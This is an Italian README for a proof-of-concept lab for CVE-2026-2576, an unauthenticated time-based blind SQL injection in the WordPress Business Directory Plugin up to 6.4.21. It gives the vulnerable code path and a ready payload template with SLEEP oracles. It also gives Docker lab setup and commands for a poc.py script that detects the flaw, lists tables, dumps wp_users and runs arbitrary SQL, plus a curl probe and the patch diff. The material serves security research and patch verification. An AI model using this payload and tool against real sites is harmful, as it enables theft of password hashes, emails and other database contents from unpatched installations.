
CVE-2026-2576 — PoC SQLi per il Plugin Business Directory (Configurazione Locale). Iniezione SQL Blind Basata sul Tempo Non Autenticata nel Plugin Business Directory per WordPress ≤ 6.4.21
SQL Injection cieca basata sul tempo, non autenticata
Plugin Business Directory per WordPress ≤ 6.4.21
| Campo | Dettaglio |
|---|
| CVE | CVE-2026-2576 |
| Plugin | Business Directory Plugin – Easy Listing Directories for WordPress |
| Vendor | strategy11team |
| Versioni affette | Tutte le versioni ≤ 6.4.21 |
| Corretta in | 6.4.22 |
| Tipo | SQL Injection cieca basata sul tempo (CWE-89) |
| Autenticazione | Nessuna — completamente non autenticata |
| CVSS | 7.5 (NVD) / 9.3 (Wordfence) |
| Vettore | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Assegnatario | Wordfence (CNA) — d8ec7d25-1574-416c-b5fd-3a71b1cc09d2 |
| Divulgata | 18 febbraio 2026 |
Il Business Directory Plugin è un plugin WordPress ampiamente utilizzato per creare
directory di annunci con supporto ai pagamenti. Una falla nel suo query builder ORM
consente a un attaccante non autenticato di eseguire SQL injection cieca basata sul tempo tramite il parametro di query payment,
permettendo di dedurre il contenuto del database.
La vulnerabilità risiede nel query builder ORM:
File: includes/db/class-db-query-set.php — filter_args()
private function filter_args( $args ) {
$filters = array();
foreach ( $args as $f => $v ) {
$op = '=';
// ...
if ( is_array( $v ) ) {
// ❌ VULNERABILE — nessuna sanitizzazione, concatenazione diretta di stringhe
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
} else {
// ✓ Sicuro — usa $wpdb->prepare()
$filters[] = $this->db->prepare( "$f $op %s", $v );
}
}
return $filters;
}
Quando $v è uno scalare, il codice usa correttamente $wpdb->prepare(). Quando
$v è un array, si cade nel ramo non sicuro e i valori vengono concatenati
direttamente nella stringa SQL senza alcun escaping.
Il controller del checkout (includes/controllers/pages/class-checkout.php)
legge il parametro di richiesta payment e lo passa all'ORM:
// class-checkout.php :: fetch_payment()
$payment_id = wpbdp_get_var( array( 'param' => 'payment' ), 'request' );
if ( ! $this->payment_id && ! empty( $payment_id ) ) {
$this->payment = WPBDP_Payment::objects()->get(
array( 'payment_key' => $payment_id ) // $payment_id passato come valore
);
}
PHP converte automaticamente payment[]=value nella query string in un
array $_GET['payment'] = ['value']. Questo forza $v a essere un array in
filter_args(), colpendo il ramo non sicuro.
GET /?page_id=4&wpbdp_view=checkout&payment[]=<payload>
PHP: $_REQUEST['payment'] = ['<payload>'] ← array grazie alla notazione []
|
v
class-checkout.php: fetch_payment()
|
v
WPBDP_Payment::objects()->get(['payment_key' => ['<payload>']])
|
v
class-db-query-set.php: filter_args()
=> is_array($v) == TRUE → ramo non sicuro
=> "$f IN ('" . implode("','", $v) . "')"
|
v
MySQL: SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<payload>')
payment[]=<key>') AND IF((<condizione>),SLEEP(N),0)-- -
SQL generato:
SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<key>') AND IF((<condizione>),SLEEP(N),0)-- -')
Il -- - commenta il ') finale. L'IF() crea un oracolo booleano:
quando la condizione è VERA, SLEEP(N) scatta e la risposta viene ritardata;
quando è FALSA la risposta è immediata.
Nota: L'ORM esegue la query due volte per richiesta (una in get(), una
in maybe_execute_query()), quindi un payload SLEEP(1) produce circa 2 secondi di
ritardo osservabile, e SLEEP(2) produce circa 4 secondi.
Un attaccante non autenticato può dedurre ed estrarre il contenuto del database carattere per carattere tramite risposte basate sul tempo, inclusi:
wp_users), nomi utente, indirizzi email, hash delle passwordLa correzione nella versione 6.4.22 aggiunge la sanitizzazione al ramo array di
filter_args():
// PRIMA (vulnerabile)
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
// DOPO (corretto)
$escaped = array_map( array( $this->db, 'esc_sql' ), $v );
$filters[] = "$f IN ('" . implode( "','", $escaped ) . "')";
Installa le dipendenze Python:
pip3 install requests colorama --break-system-packages
cve-2026-2576-lab/
┣ 📂poc
┃ ┣ 📜patch_diff.py
┃ ┗ 📜poc.py
┣ 📜.gitignore
┣ 📜docker-compose.yml
┣ 📜init-db.sql
┣ 📜README.md
┣ 📜setup.sh
┗ 📜uploads.ini
cd cve-2026-2576-lab
docker compose up -d --build
docker compose up setup
Attendi finché non vedi:
╔══════════════════════════════════════════════════════════╗
║ Configurazione del Laboratorio Completata! ║
╠══════════════════════════════════════════════════════════╣
║ WordPress: http://localhost:8080 ║
║ WP Admin: http://localhost:8080/wp-admin ║
║ phpMyAdmin: http://localhost:8082 ║
╠══════════════════════════════════════════════════════════╣
║ admin / admin123 ║
║ victim / victimpass123 ║
╠══════════════════════════════════════════════════════════╣
║ Plugin: 6.4.21 (VULNERABILE) ║
║ ID Pagina BD: 4 ║
╚══════════════════════════════════════════════════════════╝
docker exec lab_wordpress bash -c \
"grep 'Version:' /var/www/html/wp-content/plugins/business-directory-plugin/business-directory-plugin.php \
| head -1"
# Atteso: * Version: 6.4.21
docker exec lab_mysql mysql -uwpuser -pwppass wordpress -e "SELECT id, payment_key, status FROM wp_wpbdp_payments;"
+----+--------------+---------+
| id | payment_key | status |
+----+--------------+---------+
| 1 | seed-pay-001 | pending |
+----+--------------+---------+
docker compose up -d pma
# Accessibile su http://localhost:8082 (root / rootpass)
Tutti i comandi vengono eseguiti dalla directory principale del laboratorio sul tuo host Kali.
Usa http://localhost:8080 (mappatura porta host → Docker).
La payment_key deve corrispondere a una riga esistente in wp_wpbdp_payments.
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --detect
Atteso: INJECTION CONFIRMED ✓ (2.03s ≈ 1s × 2 esecuzioni ORM)

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --extract-db

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --tables
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table lab_secrets
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --custom-sql "SELECT secret_value FROM lab_secrets WHERE label='flag'"
| Flag | Predefinito | Note |
|---|---|---|
--sleep N | 1 | SLEEP(N) per oracolo. VERO ≈ N×2s. Più basso = più veloce, più rumoroso |
--threads N | 4 | Posizioni carattere in parallelo. 8 funziona bene su hardware moderno |
# Estrazione più veloce
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users --sleep 1 --threads 8
# Baseline: dovrebbe rispondere in < 0.1s
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=seed-pay-001"
# Sonda Sleep: dovrebbe rispondere in ~4s (SLEEP(2) × 2 esecuzioni)
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=$(python3 -c "import urllib.parse; print(urllib.parse.quote(\"seed-pay-001') AND SLEEP(2)-- -\"))")"
Per confrontare la versione vulnerabile con quella corretta:
python3 poc/patch_diff.py
# Per il diff completo
python3 poc/patch_diff.py --full
# Scarica entrambe le versioni
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.21/ /tmp/v6421
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.22/ /tmp/v6422
# Confronta il file vulnerabile
diff -u /tmp/v6421/includes/db/class-db-query-set.php /tmp/v6422/includes/db/class-db-query-set.php
Il diff mostrerà esc_sql() aggiunto al ramo array in filter_args().
# Ferma il laboratorio (preserva i dati)
docker compose stop
# Riavvia
docker compose start
# Smantellamento completo — distrugge tutti i volumi e i dati
docker compose down -v
# Riesegui la configurazione da zero
docker compose down -v && docker compose up setup
# Shell nel container WordPress
docker exec -it lab_wordpress bash
# Visualizza il log degli errori PHP di WordPress
docker exec lab_wordpress tail -f /var/www/html/wp-content/debug.log
# Osserva il log delle query MySQL in tempo reale
docker exec lab_mysql mysql -uroot -prootpass -e "SET GLOBAL general_log=1; SET GLOBAL general_log_file='/tmp/mysql.log';"
docker exec lab_mysql tail -f /tmp/mysql.log
$wpdb->prepare() di WordPress — https://developer.wordpress.org/reference/classes/wpdb/prepare/Questo repository è destinato esclusivamente a ricerca sulla sicurezza autorizzata e scopi educativi. Tutti i test sono stati condotti in un ambiente di laboratorio locale isolato. Non eseguire mai questo strumento contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione scritta. L'accesso non autorizzato a sistemi informatici è illegale ai sensi del Computer Fraud and Abuse Act (CFAA) e delle leggi equivalenti in altre giurisdizioni.
L'autore non si assume alcuna responsabilità per l'uso improprio di questo materiale. Segui sempre le pratiche di divulgazione responsabile — se scopri nuovi risultati basati su questa ricerca, coordina con il vendor prima di pubblicare.
Ricercato e sviluppato in un laboratorio Docker isolato su Kali Linux.